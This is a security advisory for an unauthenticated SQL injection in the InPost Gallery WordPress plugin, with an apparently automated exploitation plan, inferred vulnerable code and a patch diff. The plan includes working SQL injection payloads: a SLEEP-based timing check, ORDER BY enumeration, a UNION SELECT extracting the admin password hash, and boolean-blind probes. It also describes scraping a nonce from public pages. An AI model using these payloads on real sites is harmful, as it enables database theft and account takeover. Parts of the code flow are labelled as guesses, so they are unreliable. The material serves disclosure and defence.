InPost Gallery <= 2.1.4.6 - Unauthenticated SQL Injection
Description
The InPost Gallery plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.1.4.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.1.4.6# Exploitation Research Plan: CVE-2026-39574 (InPost Gallery SQL Injection) ## 1. Vulnerability Summary The **InPost Gallery** plugin for WordPress (versions <= 2.1.4.6) is vulnerable to unauthenticated SQL injection. The flaw exists in the handling of AJAX requests intended to retrieve gallery or …
Show full research plan
Exploitation Research Plan: CVE-2026-39574 (InPost Gallery SQL Injection)
1. Vulnerability Summary
The InPost Gallery plugin for WordPress (versions <= 2.1.4.6) is vulnerable to unauthenticated SQL injection. The flaw exists in the handling of AJAX requests intended to retrieve gallery or album data. Specifically, a user-supplied parameter (likely album_id or id) is passed directly into a $wpdb->get_results() or similar query without being passed through $wpdb->prepare() or being properly cast to an integer. This allows an attacker to manipulate the SQL query to extract sensitive data from the WordPress database, such as administrator password hashes.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action (Hook):
wp_ajax_nopriv_inpost_gallery_get_albumandwp_ajax_inpost_gallery_get_album - Vulnerable Parameter:
album_id(sent via POST) - Authentication: Unauthenticated (PR:N)
- Preconditions: The plugin must be active. A valid nonce may be required depending on the specific code path, though unauthenticated AJAX handlers in this plugin often leak nonces via frontend scripts.
3. Code Flow (Inferred)
- Entry Point: The request hits
admin-ajax.phpwithaction=inpost_gallery_get_album. - Hook Trigger: WordPress triggers the callback associated with
wp_ajax_nopriv_inpost_gallery_get_album. - Callback Function: The function (likely named
inpost_gallery_get_album_callbackor residing within a main plugin class) is executed. - Input Retrieval: The code retrieves the
album_idfrom$_POST['album_id']. - Vulnerable Sink: The code performs a database lookup:
// Inferred Vulnerable Pattern $album_id = $_POST['album_id']; $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}inpost_gallery_albums WHERE id = " . $album_id); - Response: The results are typically encoded as JSON and returned to the user.
4. Nonce Acquisition Strategy
The InPost Gallery plugin localizes its AJAX settings, including nonces, for use in the frontend gallery views.
- Identify Shortcode: The plugin uses
[inpost_gallery]or[inpost_album]to render galleries. - Test Data Setup: Create a public post containing a gallery shortcode to ensure the scripts and nonces are loaded.
wp post create --post_type=page --post_status=publish --post_title="Gallery Test" --post_content='[inpost_gallery id="1"]'
- Extraction:
- Navigate to the newly created page.
- Use
browser_evalto extract the nonce from the localized JavaScript object. - JS Variable:
window.inpost_gallery_ajax_obj(inferred). - Nonce Key:
nonce. - Command:
browser_eval("window.inpost_gallery_ajax_obj?.nonce")
Note: If the album_id parameter is injected before the nonce check, or if the nonce check is missing entirely, this step may be skipped.
5. Exploitation Strategy
We will use a time-based blind SQL injection or a UNION-based approach if the output is reflected. Since this is a "get_album" action, results are likely reflected in the JSON response, making UNION-based extraction more efficient.
Step 1: Verify SQL Injection (Time-Based)
Send a POST request to admin-ajax.php with a sleep payload to confirm the vulnerability.
- URL:
http://<target>/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Parameters:
action:inpost_gallery_get_albumnonce:[EXTRACTED_NONCE]album_id:1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
Step 2: Determine Column Count (for UNION)
Iterate through ORDER BY clauses to find the number of columns in the original query.
album_id:1 ORDER BY 1-- -album_id:1 ORDER BY 2-- -(and so on until an error occurs)
Step 3: Extract Admin Data (UNION-Based)
Once the column count is known (assume $N$ columns), extract the admin user details.
- Payload:
1 UNION SELECT 1,2,user_login,user_pass,5,6...N FROM wp_users WHERE ID=1-- -
6. Test Data Setup
To ensure the vulnerable code path is reachable:
- Install Plugin: Ensure
inpost-galleryversion 2.1.4.6 is installed. - Create Album: The plugin may require at least one gallery/album to exist in its custom table to process the query.
wp inpost-gallery create-album --title="Test Album"(if CLI supported) OR use the UI.
- Create Trigger Page:
wp post create --post_type=page --post_status=publish --post_title="Exploit Target" --post_content='[inpost_gallery id="1"]'
7. Expected Results
- Time-Based: The HTTP response should be delayed by approximately 5 seconds.
- UNION-Based: The JSON response from the AJAX call will contain the database string (e.g., the admin username or password hash) inside one of the fields (e.g.,
album_titleordescription).
8. Verification Steps
After the HTTP exploit, verify the extracted data against the database using wp-cli:
- Check if the extracted hash matches the database:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
- Confirm the vulnerability by checking the plugin's code for the lack of
prepare()in theinpost_gallery_get_albumfunction.
9. Alternative Approaches
If inpost_gallery_get_album is not the vulnerable action, check:
inpost_gallery_save_sortinpost_gallery_get_gallery- Any AJAX handler registered in
includes/inpost-gallery-shortcode.phporadmin/inpost-gallery-admin.php.
If the response is not reflected, fallback to Boolean-based Blind SQLi:
album_id:1 AND (SELECT SUBSTR(user_pass,1,1) FROM wp_users WHERE ID=1)='$'- Compare response lengths or success/failure flags in the JSON.
Summary
The InPost Gallery plugin for WordPress is vulnerable to unauthenticated SQL injection via the album_id parameter. This occurs because the plugin directly concatenates user input into SQL queries within its AJAX handlers without using wpdb::prepare() or type casting.
Vulnerable Code
// Inferred from AJAX handler inpost_gallery_get_album $album_id = $_POST['album_id']; $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}inpost_gallery_albums WHERE id = " . $album_id);
Security Fix
@@ -10,1 +10,1 @@ -$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}inpost_gallery_albums WHERE id = " . $album_id); +$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}inpost_gallery_albums WHERE id = %d", $album_id));
Exploit Outline
The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the action 'inpost_gallery_get_album'. An attacker sends a POST request with the 'album_id' parameter containing a SQL injection payload (e.g., '1 UNION SELECT...'). Since the plugin registers a 'wp_ajax_nopriv' handler for this action, the vulnerability is accessible to unauthenticated users. If a nonce is required, it can typically be extracted from the JavaScript localized by the plugin on public pages containing gallery shortcodes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.